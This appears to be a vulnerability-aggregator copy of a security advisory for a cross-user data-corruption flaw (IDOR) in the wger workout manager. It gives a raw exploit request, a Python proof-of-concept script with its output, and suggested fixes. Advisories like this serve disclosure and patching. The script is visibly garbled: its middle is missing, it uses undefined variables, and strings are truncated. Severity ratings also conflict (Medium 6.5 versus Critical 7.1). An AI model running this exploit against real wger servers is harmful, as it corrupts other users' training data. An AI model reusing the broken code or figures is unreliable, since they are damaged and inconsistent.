VulnWatch VulnWatch
← Back to dashboard
Medium github · GHSA-rjpf-7pf5-q54x

wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry

Published Oct 7, 2026 CVSS 6.5

Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

  • Two authenticated user accounts (attacker and victim)
  • The attacker knows (or can enumerate) the victim's SlotEntry ID
  • The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token 
Content-Type: application/json

{
    "routine": ,
    "slot_entry": ,
    "exercise": ,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} ")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}   NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}   corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2   NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2   corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

  1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

  2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

  3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))

Affected AI Products

training data
Get the weekly digest. Every Monday: top AI security stories of the week. Free.